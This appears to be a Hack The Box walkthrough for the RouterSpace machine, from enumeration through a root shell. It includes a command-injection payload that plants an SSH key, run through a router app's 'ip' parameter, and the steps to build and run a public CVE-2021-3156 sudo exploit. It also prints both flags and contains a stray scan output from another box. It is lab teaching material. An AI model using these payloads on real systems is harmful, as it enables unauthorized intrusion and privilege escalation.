Routerspace - Hack The Box
RouterSpace is an easy-rated Linux machine from Hack The Box. It is very different from other boxes as we’re tasked with compromizing a router apk-file. Personally I found the hardest part to be finding the tools needed for the job. Once everything was setup properly the path from foothold to user to root took about 20 minutes. Looking back I learned a lot from this machine, and it was quite fun to own. Would recommend!
USER
Step 1
nmap:
┌──(void㉿void)-[/htb/routerspace]
└─$ nmap -p- 10.10.11.148
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
┌──(void㉿void)-[/htb/routerspace]
└─$ nmap -p22,80 -sCV 10.10.11.148
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-28 09:22 CEST
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-RouterSpace Packet Filtering V1
| ssh-hostkey:
| 3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c (RSA)
| 256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA)
|_ 256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519)
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-77288
| Content-Type: text/html; charset=utf-8
| Content-Length: 70
| ETag: W/"46-abbFyEBeXh9CSfIO4E5mGzrEQI0"
| Date: Mon, 28 Mar 2022 07:24:55 GMT
| Connection: close
| Suspicious activity detected !!! {RequestID: zLw qUksX fN OW A }
| GetRequest:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-62862
| Accept-Ranges: bytes
| Cache-Control: public, max-age=0
| Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT
| ETag: W/"652c-17d476c9285"
| Content-Type: text/html; charset=UTF-8
| Content-Length: 25900
| Date: Mon, 28 Mar 2022 07:24:54 GMT
| Connection: close
| <!doctype html>
| <html class="no-js" lang="zxx">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>RouterSpace</title>
| <meta name="description" content="">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/owl.carousel.min.css">
| <link rel="stylesheet" href="css/magnific-popup.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/themify-icons.css">
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-79870
| Allow: GET,HEAD,POST
| Content-Type: text/html; charset=utf-8
| Content-Length: 13
| ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo"
| Date: Mon, 28 Mar 2022 07:24:54 GMT
| Connection: close
| GET,HEAD,POST
| RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad Request
|_ Connection: close
|_http-title: RouterSpace
|_http-trane-info: Problem with XML parsing of /evox/about
[root:/git/htb/pandora]# nmap -sU --top-port=20 --open 10.10.11.136
PORT STATE SERVICE
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
161/udp open snmp
520/udp open|filtered route
4500/udp open|filtered nat-t-ike
dirb:
N/A
nikto:
+ Uncommon header 'x-cdn' found, with contents: RouterSpace-66427
ffuf:
$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.11.148/FUZZ -fs 50-95
css [Status: 301, Size: 173, Words: 7, Lines: 11]
fonts [Status: 301, Size: 177, Words: 7, Lines: 11]
img [Status: 301, Size: 173, Words: 7, Lines: 11]
js [Status: 301, Size: 171, Words: 7, Lines: 11]
$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.11.148/FUZZ.html -fs 50-95
contact [Status: 200, Size: 46439, Words: 10270, Lines: 358]
Step 2
Visit the website and we find multiple download buttons, all leading to RouterSpace.apk
. Before we analyze the binary, we look on contact.html
, while there we find features.html
and Pricing.html
, both gives some strange output.
$ curl -v http://10.10.11.148/features.html
> GET /features.html HTTP/1.1
> Host: 10.10.11.148
< HTTP/1.1 200 OK
< X-Powered-By: RouterSpace
< X-Cdn: RouterSpace-65007
<
Suspicious activity detected !!! {RequestID: Z 73Mv z F F i }
┌──(void㉿void)-[/htb/routerspace]
└─$ curl -v http://10.10.11.148/Pricing.html
> GET /Pricing.html HTTP/1.1
> Host: 10.10.11.148
< HTTP/1.1 200 OK
< X-Powered-By: RouterSpace
< X-Cdn: RouterSpace-85902
<
Suspicious activity detected !!! {RequestID: l2 Pmi K lhy9 vL C yj6a }
Unzip the .apk-file and start analyzing the data..
.. we find host name in apk-unpack/META-INF/CERT.RSA
- routerspace.htb
Nothing more of value at first glance. As this is a easy box we should probably look for something obvious, like a public key for the SSH service, some API call or similar.
Analyzing the data further with jd-gui
and MobSF
doesn’t give anything of value either.
Change approach and try to emulate the apk using Anbox
and adb
:
Install (if "ls -1 /dev/{ashmem,binder}" gives not found):
$ apt install dkms linux-headers-amd64
$ git clone https://github.com/anbox/anbox-modules.git
$ sudo ./INSTALL.sh
$ sudo modprobe ashmem_linux && sudo modprobe binder_linux
$ ls -1 /dev/{ashmem,binder}
$ sudo apt install snapd
$ service snapd start
$ sudo snap install --devmode --beta anbox
$ sudo apt install android-tools-adb
$ adb devices
* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
$ anbox launch --package=org.anbox.appmgr
$ adb devices
List of devices attached
emulator-5558 device
$ adb install RouterSpace.apk
Performing Streamed Install
Success
$ anbox.appmgr
If not able to enable proxy, kill all adb and anbox servies and try again.
$ kill ...
$ adb devices
$ adb shell settings put global http_proxy 192.168.101.187:8181
$ anbox.appmgr
Burp Proxy Settings:
We are now able to capture the Check Status
API call in Burp.
Step 3
We have one data parameter to play with, ip
, and we quickly find that it’s not sanitized and vulnerable for command injection.
Generate a new SSH key, inject it and login as user Paul. Grab user.txt.
┌──(void㉿void)-[/htb/routerspace]
└─$ ssh-keygen -t rsa -b 4096 -f paul-id_rsa
┌──(void㉿void)-[/htb/routerspace]
└─$ cat paul-id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC [... snip ...]
Inject the payload in Burp Repeater:
mkdir -p /home/paul/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC [... snip ...]' > /home/paul/.ssh/authorized_keys
┌──(void㉿void)-[/htb/routerspace]
└─$ ssh paul@routerspace.htb -i paul-id_rsa
paul@routerspace:~$ id && cat user.txt
uid=1001(paul) gid=1001(paul) groups=1001(paul)
e8f2d33e776f9e917eeab833f5dff7a6
ROOT
Step 1
With some quick manual enumeration we find that the sudo version is old and vulnerable to CVE-2021-3156.
paul@routerspace:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
paul@routerspace:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Codename: focal
┌──(void㉿void)-[/htb/routerspace]
└─$ scp -i paul-id_rsa -rp sudo-exploit-main paul@routerspace.htb:/dev/shm 1 ⨯
sice.c 100% 176 5.5KB/s 00:00
README.md 100% 234 7.6KB/s 00:00
Makefile 100% 95 3.0KB/s 00:00
exploit.c 100% 2651 82.9KB/s 00:00
paul@routerspace:/dev/shm/sudo-exploit-main$ make
gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:75:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
75 | execve(argv[0], argv, env);
| ^~~~~~
mkdir libnss_X
gcc -g -fPIC -shared sice.c -o libnss_X/X.so.2
paul@routerspace:/dev/shm/sudo-exploit-main$ ./exploit
root@routerspace:/dev/shm/sudo-exploit-main# id && cat /root/root.txt
uid=0(root) gid=1001(paul) groups=1001(paul)
3d6de1c1362a1d59bd130fd45d895e45
References
Install Anbox: https://docs.anbox.io/userguide/install_kernel_modules.html
CVE-2021-3156: https://github.com/redhawkeye/sudo-exploit